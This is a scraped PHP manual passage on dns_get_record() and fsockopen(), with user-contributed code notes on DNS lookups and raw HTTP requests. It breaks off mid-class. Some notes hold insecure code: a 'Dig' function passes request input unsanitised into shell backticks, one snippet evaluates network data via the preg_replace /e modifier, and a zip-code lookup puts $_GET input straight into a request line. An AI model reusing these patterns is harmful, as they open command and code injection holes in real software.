SOA | mname: FQDN of the machine from which the resource records originated. rname: Email address of the administrative contain for this domain. serial: Serial # of this revision of the requested domain. refresh: Refresh interval (seconds) secondary name servers should use when updating remote copies of this domain. retry: Length of time (seconds) to wait after a failed refresh before making a second attempt. expire: Maximum length of time (seconds) a secondary DNS server should retain remote copies of the zone data without a successful refresh before discarding. minimum-ttl: Minimum length of time (seconds) a client can continue to use a DNS resolution before it should request a new resolution from the server. Can be overridden by individual resource records.
AAAA | ipv6: IPv6 address
A6(PHP >= 5.1.0) | masklen: Length (in bits) to inherit from the target specified by chain. ipv6: Address for this specific record to merge with chain. chain: Parent record to merge with ipv6 data.
SRV | pri: (Priority) lowest priorities should be used first. weight: Ranking to weight which of commonly prioritized targets should be chosen at random. target and port: hostname and port where the requested service can be found. For additional information see: » RFC 2782
NAPTR | order and pref: Equivalent to pri and weight above. flags, services, regex, and replacement: Parameters as defined by » RFC 2915.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.
5.3.0 | Prior to this release, if the authns parameter was given, the addtl parameter was also required.

Examples

Example #1 Using dns_get_record()

<?php
$result = dns_get_record("php.net");
print_r($result);
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)

Example #2 Using dns_get_record() and DNS_ANY

Since it's very common to want the IP address of a mail server once the MX record has been resolved, dns_get_record() also returns an array in addtl which contains associate records. authns is returned as well containing a list of authoritative name servers.

<?php
/* Request "ANY" record for php.net,
   and create $authns and $addtl arrays
   containing list of name servers and
   any additional records which go with
   them */
$result = dns_get_record("php.net", DNS_ANY, $authns, $addtl);
echo "Result = ";
print_r($result);
echo "Auth NS = ";
print_r($authns);
echo "Additional = ";
print_r($addtl);
?>

The above example will output something similar to:

Result = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)
Auth NS = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [1] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [2] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [3] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

)
Additional = Array
(
    [0] => Array
        (
            [host] => pair2.php.net
            [type] => A
            [ip] => 216.92.131.5
            [class] => IN
            [ttl] => 6766
        )

    [1] => Array
        (
            [host] => remote1.easydns.com
            [type] => A
            [ip] => 64.39.29.212
            [class] => IN
            [ttl] => 100384
        )

    [2] => Array
        (
            [host] => remote2.easydns.com
            [type] => A
            [ip] => 212.100.224.80
            [class] => IN
            [ttl] => 81241
        )

    [3] => Array
        (
            [host] => ns1.easydns.com
            [type] => A
            [ip] => 216.220.40.243
            [class] => IN
            [ttl] => 81241
        )

    [4] => Array
        (
            [host] => ns2.easydns.com
            [type] => A
            [ip] => 216.220.40.244
            [class] => IN
            [ttl] => 81241
        )

)

Notes

Note:

For compatibility with versions before PHP 5.3.0 on some operating systems, try the » PEAR class » Net_DNS.

See Also

  • dns_get_mx() - Alias of getmxrr
  • dns_check_record() - Alias of checkdnsrr

User Contributed Notes

rahbari at gmail dot com 19-Dec-2011 06:45
If only NS records are set (when the domain is not configured on the host), DNS_NS must be used, otherwise an error occurs and it returns nothing!
dylan at pow7 dot com 21-Feb-2009 11:29
Get more than one type at once like this:
<?php
$dnsr = dns_get_record('php.net', DNS_A + DNS_NS);
print_r($dnsr);
?>

Using DNS_ALL fails on some domains where DNS_ANY works. I noticed the function getting stuck on the DNS_PTR record, which caused it to return FALSE with this error:
PHP Warning:  dns_get_record(): res_nsend() failed in ....

This gets all records except DNS_PTR:
<?php
$dnsr = dns_get_record('php.net', DNS_ALL - DNS_PTR);
print_r($dnsr);
?>
geo at vzemibg dot com 30-Sep-2008 03:52
Note that if you check a non-existing domain you will get:

Warning: dns_get_record() [function.dns-get-record]: res_nsend() failed in ...

and the function will return an empty srtring (not array). I do not see this described above.
nick at carbidefinger dot net 22-Jun-2008 08:19
Its worth nothing that this function returns nothing if the server you are running it from is authoritative for the domain you are checking (common on shared hosting platforms) when looking up 'NS' records

In this instance $authns is an array containing no keys or values:
dns_get_record("alocaldomain.com","NS",$authns,$addtl);
marcus at synchromedia dot co dot uk 01-Feb-2006 04:02
The docs say "nor does it (currently) work on *BSD systems". Unfortunately this includes MacOS X. It's just not there in my build of 5.1.2 running on 10.4.4.
ed at noxserver dot com 24-Mar-2005 05:44
I recently needed to do some name server and IP discovery on the fly.
Server and domain monitoring system.  If you've got a system with dig
the below seems to work fine for discovering name server and a
addresses.  Shouldn't be hard for you to modify it for the other records if
needed.

$_REQUEST[url] = "http://www.example.com/";

$url_parts = parse_url($_REQUEST[url]);

$dns = Dig($url_parts[host]);
print_r($dns[name_servers]);
print_r($dns[ips]);

function Dig ($domain) {
    $dig = `dig $domain`;
    preg_match_all("/in\s+ns\s+(.+?)\s+/is"
,$dig,$name_servers,PREG_PATTERN_ORDER);
    preg_match_all("/$domain.\s+[0-9]+\s+in\s+a\s+([0-9.]+)\s+/is"
,$dig,$ips,PREG_PATTERN_ORDER);
    $dns[name_servers] = $name_servers[1];
    $dns[ips] = $ips[1];
    return($dns);
}
axelm-php at nona dot net 16-May-2003 05:06
I've done a backport of the function to PHP4.
It is available as extension at:

http://nona.net/software/dns_get_record/

comments & feedback appreciated.

--
Alexander Mayrhofer
axelm-php@nona.net
dns_get_mx
fsockopen
Network Functions


Open Internet or Unix domain socket connection

dns_get_record
gethostbyaddr
Network Functions
PHP Manual

fsockopen

(PHP 4, PHP 5)

fsockopen — Open Internet or Unix domain socket connection

Description

resource fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )

Initiates a socket connection to the resource specified by hostname.

PHP supports targets in the Internet and Unix domains as described in List of Supported Socket Transports. A list of supported transports can also be retrieved using stream_get_transports().

The socket will by default be opened in blocking mode. You can switch it to non-blocking mode by using stream_set_blocking().

The function stream_socket_client() is similar but provides a richer set of options, including non-blocking connection and the ability to provide a stream context.

Parameters

hostname

If OpenSSL support is installed, you may prefix the hostname with either ssl:// or tls:// to use an SSL or TLS client connection over TCP/IP to connect to the remote host.

port

The port number.

errno

If provided, holds the system level error number that occurred in the system-level connect() call.

If the value returned in errno is 0 and the function returned FALSE, it is an indication that the error occurred before the connect() call. This is most likely due to a problem initializing the socket.

errstr

The error message as a string.

timeout

The connection timeout, in seconds.

Note:

If you need to set a timeout for reading/writing data over the socket, use stream_set_timeout(), as the timeout parameter to fsockopen() only applies while connecting the socket.

Return Values

fsockopen() returns a file pointer which may be used together with the other file functions (such as fgets(), fgetss(), fwrite(), fclose(), and feof()). If the call fails, it will return FALSE

Errors/Exceptions

Throws E_WARNING if hostname is not a valid domain.

Changelog

Version | Description
4.3.0 | Added support for the timeout parameter on win32.
4.3.0 | SSL and TLS over TCP/IP support was added.

Examples

Example #1 fsockopen() Example

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

Example #2 Using UDP connection

The example below shows how to retrieve the day and time from the UDP service "daytime" (port 13) in your own machine.

<?php
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
if (!$fp) {
    echo "ERROR: $errno - $errstr<br />\n";
} else {
    fwrite($fp, "\n");
    echo fread($fp, 26);
    fclose($fp);
}
?>

Notes

Note:

Depending on the environment, the Unix domain or the optional connect timeout may not be available.

Warning

UDP sockets will sometimes appear to have opened without an error, even if the remote host is unreachable. The error will only become apparent when you read or write data to/from the socket. The reason for this is because UDP is a "connectionless" protocol, which means that the operating system does not try to establish a link for the socket until it actually needs to send or receive data.

Note: When specifying a numerical IPv6 address (e.g. fe80::1), you must enclose the IP in square bracketsâ€”for example, tcp://[fe80::1]:80.

See Also

  • pfsockopen() - Open persistent Internet or Unix domain socket connection
  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fwrite() - Binary-safe file write
  • fclose() - Closes an open file pointer
  • feof() - Tests for end-of-file on a file pointer
  • socket_connect() - Initiates a connection on a socket
  • The Curl extension

User Contributed Notes

kexianbin at diyism dot com 28-Dec-2011 08:15
My recursive unchunk function:

<?php
function unchunk($result)
         {return preg_replace('/([0-9A-F]+)\r\n(.*)/sie',
                              '($cnt=@base_convert("\1", 16, 10))
                               ?substr(($str=@strtr(\'\2\', array(\'\"\'=>\'"\', \'\\\\0\'=>"\x00"))), 0, $cnt).unchunk(substr($str, $cnt+2))
                               :""
                              ',
                              $result
                             );
         }
?>
Jeremy Saintot 14-Jan-2011 04:24
Here is my fsockopen-based HTTP request fonction (GET and POST) :

<?php
function http_request(
    $verb = 'GET',             /* HTTP Request Method (GET and POST supported) */
    $ip,                       /* Target IP/Hostname */
    $port = 80,                /* Target TCP port */
    $uri = '/',                /* Target URI */
    $getdata = array(),        /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $postdata = array(),       /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $cookie = array(),         /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */
    $timeout = 1,           /* Socket timeout in seconds */
    $req_hdr = false,          /* Include HTTP request headers */
    $res_hdr = false           /* Include HTTP response headers */
    )
{
    $ret = '';
    $verb = strtoupper($verb);
    $cookie_str = '';
    $getdata_str = count($getdata) ? '?' : '';
    $postdata_str = '';

    foreach ($getdata as $k => $v)
                $getdata_str .= urlencode($k) .'='. urlencode($v) . '&';

    foreach ($postdata as $k => $v)
        $postdata_str .= urlencode($k) .'='. urlencode($v) .'&';

    foreach ($cookie as $k => $v)
        $cookie_str .= urlencode($k) .'='. urlencode($v) .'; ';

    $crlf = "\r\n";
    $req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf;
    $req .= 'Host: '. $ip . $crlf;
    $req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf;
    $req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf;
    $req .= 'Accept-Language: en-us,en;q=0.5' . $crlf;
    $req .= 'Accept-Encoding: deflate' . $crlf;
    $req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf;

    foreach ($custom_headers as $k => $v)
        $req .= $k .': '. $v . $crlf;

    if (!empty($cookie_str))
        $req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf;

    if ($verb == 'POST' && !empty($postdata_str))
    {
        $postdata_str = substr($postdata_str, 0, -1);
        $req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf;
        $req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf;
        $req .= $postdata_str;
    }
    else $req .= $crlf;

    if ($req_hdr)
        $ret .= $req;

    if (($fp = @fsockopen($ip, $port, $errno, $errstr)) == false)
        return "Error $errno: $errstr\n";

    stream_set_timeout($fp, 0, $timeout * 1000);

    fputs($fp, $req);
    while ($line = fgets($fp)) $ret .= $line;
    fclose($fp);

    if (!$res_hdr)
        $ret = substr($ret, strpos($ret, "\r\n\r\n") + 4);

    return $ret;
}
?>

Example usages :

<?php
echo http_request('GET', 'www.php.net');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php', array('get1' => 'v_get1'), array(), array('cookie1' => 'v_cookie1'), array('X-My-Header' => 'My Value'));
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by "Wrinkled Cheese" on 24-JUN-2011 to fix the $getdata foreach() loop; another bugfix provided by Suat Secmen on 12-JAN-2012 to fix a $timeout = 1000, then stream_set_timeout($fp, 0, $timeout * 1000), equaling 1,000 seconds.]
gratcypalma at gmail dot com 30-Aug-2010 08:56
<?php
/*
this script i used for remote my PvPGN Server, to check email user.
not good, but it work.
*/

set_time_limit(0);
$host   = 'host';
$port   = 'port';
$user   = 'user';
$pass   = 'pass';
$socket = fsockopen($host, $port) or die('Could not connect to: '.$host);
$userdota = "palma";
if($socket)
{
    sendcmd("\r",$socket);
    $status = "open"; // set status open

    while($status=="open") //while we are connected to the server
      {
             $line = @fgets($socket, 1024) ;
              /////////////login////////////////
            if (strstr($line, "there is no guest account"))
              {
                 sendcmd($user."\r\n",$socket);
                 sendcmd($pass."\r\n",$socket);
              }
            //////////////send command ////////////////////
            if (strstr($line,"Your unique name: ".$user))
              {  sendcmd("/finger ".$userdota."\r\n",$socket);
              }

            //////////////get email////////////////////
            if (strstr($line,"email:")) // if respone server write "email:"
              {
                 $pattern = '/email:(.*) ,/';
                 preg_match($pattern, $line, $matches);
                 fclose($socket);
                 $status="close"; // status close
                 $matches=str_replace(" ","", $matches);
                 $matches=str_replace(",is_operator:0,is_admin:0,","", $matches);
                 $matches=str_replace("email:","", $matches);
                 print $matches[0];
                 $email=$matches[0];
              }
            if (strstr($line,"ERROR: Invalid user.")) // if respone server write "ERROR: Invalid user."
              {

                 fclose($socket);
                 $status="close";
                 $error ="Invalid User";    // error message
              }

            ////////////login failed //////////////////////////
            if (strstr($line, "Login failed")) // if respone server write "Login failed"
              {
                 $error = "Login Failed";    // error message
                 fclose($socket);
                 $status="close";
              }

            flush(); // close

      }

}
function sendcmd($cmd,$socket) // send command function
{
  fputs($socket, $cmd, strlen($cmd));
}
?>
ken at kenmclean dot com dot au 15-Jul-2010 05:33
Make sure you don't use a double line break ("\r\n\r\n") during the middle of your header, as it appears to end the header.

This means a \r\n\r\n before "Connection: close\r\n\r\n" will not correctly tell fsockopen to close the request, leading to a max timeout error.

Some of the code on this page does this. It took me days to figure out. Example:

<?php
    // Wrong:
    fwrite($fp, "GET / HTTP/1.1\r\n");
    fwrite($fp, "Host: php.net\r\n");
    fwrite($fp, "User-Agent: example\r\n\r\n");
    fwrite($fp, "Connection: Close\r\n\r\n");

    // Right:
    fwrite($fp, "GET / HTTP/1.1\r\n" );
    fwrite($fp, "Host: php.net\r\n");
    fwrite($fp, "User-Agent: example\r\n");
    fwrite($fp, "Connection: Close\r\n\r\n");
?>
SoupNazi 18-May-2010 11:58
I would like to save people some time.  I spent a couple hours trying to de-hunkify the response from apache2.  I found out that if you simply make a 1.0 request vs. a 1.1 request you will get no hunks and so this simple script below will get the page you want in plain text, no hunks:

<?php
$data=false;
$url='www.example.com';

$fp = @fsockopen($url, 80, $errno, $errstr, 1);
if ($fp) {
    stream_set_timeout($fp,1);
    $out = "GET / HTTP/1.0\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    if (fwrite($fp, $out)) {
        $content='';
        $header = "not yet";
        while (!feof($fp)) {
            $data=true;
            $line=fgets($fp,128);
            if ($line=="\r\n" && $header=="not yet") {
                $header = "passed";
            }
            if ($header=="passed") {
                $content.=$line;
            }
        }
        fclose ($fp);
    }
}
if (!$data) {
    print "Unable to retrieve all or part of $url";
} else {
    print "$content";
}

?>

I borrowed some of the script from another poster here - the portion removing the returned header.
steve at visual77 dot com 12-Feb-2010 10:23
A short, quick unchunk function that makes use of regular expressions:

<?php

function unchunk($result) {
    return preg_replace_callback(
        '/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)'.
        '((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si',
        create_function(
            '$matches',
            'return hexdec($matches[1]) == strlen($matches[2]) ? $matches[2] : $matches[0];'
        ),
        $result
    );
}

?>
Buoysel 10-Feb-2010 05:50
I wasnâ€™t too happy with all the code snippets I found for unchunking chunked HTTP 1.1 replies, as most of them were either bloated with stuff I donâ€™t need or calling several other functions and thus tricky to implement. And some didnâ€™t even work at all for me...

I just thought I could try implementing my own function and here it is. I haven't had any problems with it, so I hope someone finds this useful.

<?php
function unchunkHttp11($data) {
    $fp = 0;
    $outData = "";
    while ($fp < strlen($data)) {
        $rawnum = substr($data, $fp, strpos(substr($data, $fp), "\r\n") + 2);
        $num = hexdec(trim($rawnum));
        $fp += strlen($rawnum);
        $chunk = substr($data, $fp, $num);
        $outData .= $chunk;
        $fp += strlen($chunk);
    }
    return $outData;
}
?>

Before calling this function you may want to check if the content is really chunked using a code snipped like this:

<?php
while (!feof($fp)) {
    $reply .= fgets($fp, 1024);
}
$data = substr($reply, (strpos($reply, "\r\n\r\n")+4));
if (strpos(strtolower($reply), "transfer-encoding: chunked") !== FALSE) {
    $data = unchunkHttp11($data);
}
?>
nytro_rst at yahoo dot com 12-Jan-2010 02:26
A simple proxy list checker. You can check a list ip:port if that port is opened on that IP.

<?php

$fisier = file_get_contents('proxy_list.txt'); // Read the file with the proxy list
$linii = explode("\n", $fisier); // Get each proxy
$fisier = fopen("bune.txt", "a"); // Here we will write the good ones

for($i = 0; $i < count($linii) - 1; $i++) test($linii[$i]); // Test each proxy

function test($proxy)
{
  global $fisier;
  $splited = explode(':',$proxy); // Separate IP and port
  if($con = @fsockopen($splited[0], $splited[1], $eroare, $eroare_str, 3))
  {
    fwrite($fisier, $proxy . "\n"); // Check if we can connect to that IP and port
    print $proxy . '<br>'; // Show the proxy
    fclose($con); // Close the socket handle
  }
}

fclose($fisier); // Close the file

?>
FaTe 13-Sep-2009 08:02
In all header aspects I can understand for 3rd party content you may not be able to apply the following but for those reading pages where content being read by fsockopen is editable then I suggest adding a simple unique tag to the beginning of any page being read such as ":THISTAG:"

Cleaning the header contents becomes simplier when you can then use a method like split to grab your data like:

list($header,$data) = explode(":THISTAG:",$data);
walter 30-Jul-2009 08:05
For some reason the default FreeBSD 7.0 port (jailed environment) breaks fsockopen() on SSL URLs, returning a constant stream of nothing!  In my case this resulted in php-cgi bringing down lighttpd completely, in rapid time!  Avoid FreeBSD/jails/fsockopen + SSL.  Use curl_init() instead.
webmaster at setcronjob dot com 21-Jul-2009 06:24
Just wanna add a small note:
If your URL scheme is https, remember to change port into 443.
<?php
$fp = fsockopen("ssl://www.example.com", 443, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>
This makes me stuck for a while :(
ghzero at ghzero dot de 22-Jun-2009 05:20
note:
the default protocol - if not given - seems to be tcp://
oliver dot christen at camptocamp dot com 21-Jun-2009 03:17
When downloading large files, it is not really efficient to put the whole server answer in memory before parsing the data to remove the header parts. Here is a simple way to do it while writing the data as it arrive:

<?php

// $socket is a valid fsockopen handle

$out = '';
$headerendfound = false;
$fp = fopen($fileTarget, 'w');
$buffer = '';
while (!feof($socket)) {
    $out = fgets ($socket,16384);
    if ($headerendfound) {
        fwrite($fp, $out);
        print '.';
    }
    if (!$headerendfound) {
        $buffer .= $out;
        print "searching for header\n";
        $headerend = strpos($buffer, "\r\n\r\n");
        if ($headerend !== false) {
            $headerendfound = true;
            fwrite($fp, substr($buffer, $headerend+4));
            $buffer = '';
        }
    }
}
fclose($fp);
fclose($socket);

?>
andypsv at rcdrugs dot com 16-Jun-2009 01:15
look at this smart ssl/http fsockopen function as a good solution for dealing with things

<?php
function _get($type,$host,$port='80',$path='/',$data='') {
    $_err = 'lib sockets::'.__FUNCTION__.'(): ';
    switch($type) { case 'http': $type = ''; case 'ssl': continue; default: die($_err.'bad $type'); } if(!ctype_digit($port)) die($_err.'bad port');
    if(!empty($data)) foreach($data AS $k => $v) $str .= urlencode($k).'='.urlencode($v).'&'; $str = substr($str,0,-1);

    $fp = fsockopen($host,$port,$errno,$errstr,$timeout=30);
    if(!$fp) die($_err.$errstr.$errno); else {
        fputs($fp, "POST $path HTTP/1.1\r\n");
        fputs($fp, "Host: $host\r\n");
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
        fputs($fp, "Content-length: ".strlen($str)."\r\n");
        fputs($fp, "Connection: close\r\n\r\n");
        fputs($fp, $str."\r\n\r\n");

        while(!feof($fp)) $d .= fgets($fp,4096);
        fclose($fp);
    } return $d;
}
?>
givrix at free dot fr 29-Apr-2009 06:45
I've been searching a big while before considering that it was impossible to use context with fsockopen, as it was in PHP4.

If you want to use sockets with tls or ssl encryption and certificates and so on, you'd better have a look to stream_socket_client.
Hyan Christian 20-Nov-2008 10:42
To just take the HTTP content from fsockopen, better wait until feof finish to read the \r\n separator

<?php
//fsockopen, fputs..

$content = "";
$header = "not yet";

while( !feof( $pointer ) ) {
    $line = fgets( $pointer, 128 );
    if( $line == "\r\n" && $header == "not yet" ) {
        $header = "passed";
    }
    if( $header == "passed" ) {
        $content .= $line;
    }
}

//fclose..

echo( substr( $content, 2 ) );
?>
Doug 06-Nov-2008 03:17
[NOTE BY danbrown AT php DOT net: Updated version.  Contains author-submitted bug fixes.]

Here is a way to get an array of cities / states for any zip code anywhere in the US.  This example uses a $_GET variable to specify which zip code, but you can get it from any source you wish.  This will return actual and acceptable zip code cities (according to USPS), but can be easily modified to include just the actual city.

<?php

if($_GET['zip'])
{
    if(!($fp = fsockopen('zip4.usps.com', 80, $errno, $errstr)))
        echo 'Could not connect to USPS! Error number: ' . $errno . '(' . $errstr . ')';

    else
    {
        $poststring =

            "GET /zip4/zcl_3_results.jsp?zip5=" . $_GET['zip'] . " HTTP/1.0\r\n" .
            "Connection: close\r\n\r\n";

        fputs($fp, $poststring);

        $buffer = '';

        while(!feof($fp))
            $buffer .= fgets($fp, 128);

        fclose($fp);

        preg_match('/Actual City name(.*)/s', $buffer, $match);

        $temp = explode('Not Acceptable', $match[1]);

        // Capture city/state combination for all valid cities

        preg_match_all('/headers="pre">(?:<b>)?([\w|\s]+), (\w+)/', $temp[0], $acceptable, PREG_SET_ORDER);

        $values = array();

        foreach($acceptable as $value)

            $values[] =

                array
                (
                    'city' => $value[1],
                    'state' => $value[2]
                );

        if(count($values) == 0)
            echo 'Zip could not be found in the database!';
    }
}
else
    echo 'Please specify a zip!';

?>
nicholas at nicholaswilliams dot net 28-Oct-2008 05:04
For those wanting to use fsockopen() to connect to a local UNIX socket who can't find documentation on how to do it, here's a (rough) example:

<?php

$sock = fsockopen('unix:///full/path/to/my/socket.sock', NULL, $errno, $errstr);

fwrite($sock, 'SOME COMMAND'."\r\n");

echo fread($sock, 4096)."\n";

fclose($sock);

?>
laisebrown at gmail dot com 26-Oct-2008 03:30
When you're connecting through a proxy server you can't rely on fsockopen returning false to indicate that the connection has failed. (This also applies to fgets and fwrite.)

To check whether the proxy succeeded in contacting the real target host, you need to look for the http response code in the headers that get returned. Typically, if the proxy was unable to reach the host, you'll find a line containing something like:
HTTP/1.0 503 Service Unavailable
Anonymous 12-Oct-2008 05:26
"system level connect()" is not further documented inside the php documentation so it is hard to find out more about error numbers.

someone suggest a more system-close way to find out more about error numbers here: http://www.askapache.com/php/fsockopen-socket.html (an interesting read about fsockopen anyway).

in my case i could debug to the fact that fsocketopen error number 16 was resulted in the inpossibility to resolve a hostname.
andrew at enigma-pro dot com 09-Sep-2008 08:28
Notice using "tcp" insted of "http"
<?php
fsockopen("tcp://example.net",80 , $errno, $errstr, 30);
?>
mikey at badpenguins dot com 06-Sep-2008 09:00
My $0.02 on handling chunked transfer encoded output...  Has rudimentary error handling.

<?php
//
// Example usage...
//
$server  = '127.0.0.1';
$port    = '80';
$uri     = '/cgi-bin/random-cgi';
$content = 'Your post content...';

$post_results = httpPost($server,$port,$uri,$content);
if (!is_string($post_results)) {
    die('uh oh, something went wrong');
    } else {
    die('Here are your results: ' . $post_results);
    }

//
// Post provided content to an http server and optionally
// convert chunk encoded results.  Returns false on errors,
// result of post on success.  This example only handles http,
// not https.
//
function httpPost($ip=null,$port=80,$uri=null,$content=null) {
    if (empty($ip))         { return false; }
    if (!is_numeric($port)) { return false; }
    if (empty($uri))        { return false; }
    if (empty($content))    { return false; }
    // generate headers in array.
    $t   = array();
    $t[] = 'POST ' . $uri . ' HTTP/1.1';
    $t[] = 'Content-Type: text/html';
    $t[] = 'Host: ' . $ip . ':' . $port;
    $t[] = 'Content-Length: ' . strlen($content);
    $t[] = 'Connection: close';
    $t   = implode("\r\n",$t) . "\r\n\r\n" . $content;
    //
    // Open socket, provide error report vars and timeout of 10
    // seconds.
    //
    $fp  = @fsockopen($ip,$port,$errno,$errstr,10);
    // If we don't have a stream resource, abort.
    if (!(get_resource_type($fp) == 'stream')) { return false; }
    //
    // Send headers and content.
    //
    if (!fwrite($fp,$t)) {
        fclose($fp);
        return false;
        }
    //
    // Read all of response into $rsp and close the socket.
    //
    $rsp = '';
    while(!feof($fp)) { $rsp .= fgets($fp,8192); }
    fclose($fp);
    //
    // Call parseHttpResponse() to return the results.
    //
    return parseHttpResponse($rsp);
    }

//
// Accepts provided http content, checks for a valid http response,
// unchunks if needed, returns http content without headers on
// success, false on any errors.
//
function parseHttpResponse($content=null) {
    if (empty($content)) { return false; }
    // split into array, headers and content.
    $hunks = explode("\r\n\r\n",trim($content));
    if (!is_array($hunks) or count($hunks) < 2) {
        return false;
        }
    $header  = $hunks[count($hunks) - 2];
    $body    = $hunks[count($hunks) - 1];
    $headers = explode("\n",$header);
    unset($hunks);
    unset($header);
    if (!verifyHttpResponse($headers)) { return false; }
    if (in_array('Transfer-Coding: chunked',$headers)) {
        return trim(unchunkHttpResponse($body));
        } else {
        return trim($body);
        }
    }

//
// Validate http responses by checking header.  Expects array of
// headers as argument.  Returns boolean.
//
function validateHttpResponse($headers=null) {
    if (!is_array($headers) or count($headers) < 1) { return false; }
    switch(trim(strtolower($headers[0]))) {
        case 'http/1.0 100 ok':
        case 'http/1.0 200 ok':
        case 'http/1.1 100 ok':
        case 'http/1.1 200 ok':
            return true;
        break;
        }
    return false;
    }

//
// Unchunk http content.  Returns unchunked content on success,
// false on any errors...  Borrows from code posted above by
// jbr at ya-right dot com.
//
function unchunkHttpResponse($str=null) {
    if (!is_string($str) or strlen($str) < 1) { return false; }
    $eol = "\r\n";
    $add = strlen($eol);
    $tmp = $str;
    $str = '';
    do {
        $tmp = ltrim($tmp);
        $pos = strpos($tmp, $eol);
        if ($pos === false) { return false; }
        $len = hexdec(substr($tmp,0,$pos));
        if (!is_numeric($len) or $len < 0) { return false; }
        $str .= substr($tmp, ($pos + $add), $len);
        $tmp  = substr($tmp, ($len + $pos + $add));
        $check = trim($tmp);
        } while(!empty($check));
    unset($tmp);
    return $str;
    }

?>
admin at lab-9 dot com 21-Jul-2008 05:32
When you try to POST/GET requests via HTTPS over SSL/TLS you should notice this:

<?php
// preconditions
$port = 80 | 443
$host = "www.example.com";
$method = "POST" | "GET";
$contenttype = "text/html" | "text/plain" | "text/xml" | ...;
$data = "<something>";

// script
if($port == 443)
      $sslhost = "ssl://".$host;
else
      $sslhost = $host;
$fp = fsockopen($sslhost, $port);
fputs($fp, "$method $path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-type: $contenttype\r\n");
fputs($fp, "Content-length: ".strlen($data)."\r\n");
fputs($fp, "Connection: close\r\n");
fputs($fp, "\r\n");
?>

The server usually does not understand the HTTP-header "Host: XXX" if you provide it with the trailing "ssl://" used by fsockopen(); If you do it anyway you probably get a HTTP 400 back as response. :-)
jabeba at web dot de 17-Apr-2008 06:21
If you have to use a proxy to make requests outside of your local network, you may use this class:

<?php
/*
 *
 * No Proxy Authentification Implemented; PHP 5
 *
 */

class RemoteFopenViaProxy {

    private $result;
    private $proxy_name;
    private $proxy_port;
    private $request_url;

    public function get_proxy_name() {
        return $this->proxy_name;
    }

    public function set_proxy_name($n) {
        $this->proxy_name = $n;
    }

    public function get_proxy_port() {
        return $this->proxy_port;
    }

    public function set_proxy_port($p) {
        $this->proxy_port = $p;
    }

    public function get_request_url() {
        return $this->request_url;
    }

    public function set_request_url($u) {
        $this->request_url = $u;
    }

    public function get_result() {
        return $this->result;
    }

    public function set_result($r) {
        $this->result = $r;
    }

    private function get_url_via_proxy() {

        $proxy_fp = fsockopen($this->get_proxy_name(), $this->get_proxy_port());

        if (!$proxy_fp) {
            return false;
        }
        fputs($proxy_fp, "GET " . $this->get_request_url() . " HTTP/1.0\r\nHost: " . $this->get_proxy_name() . "\r\n\r\n");
        while (!feof($proxy_fp)) {
            $proxy_cont .= fread($proxy_fp, 4096);
        }
        fclose($proxy_fp);
        $proxy_cont = substr($proxy_cont, strpos($proxy_cont, "\r\n\r\n") + 4);
        return $proxy_cont;

    }

    private function get_url($url) {
        $fd = @ file($url);
        if ($fd) {
            return $fd;
        } else {
            return false;
        }
    }

    private function logger($line, $file) {
        $fd = fopen($file . ".log", "a+");
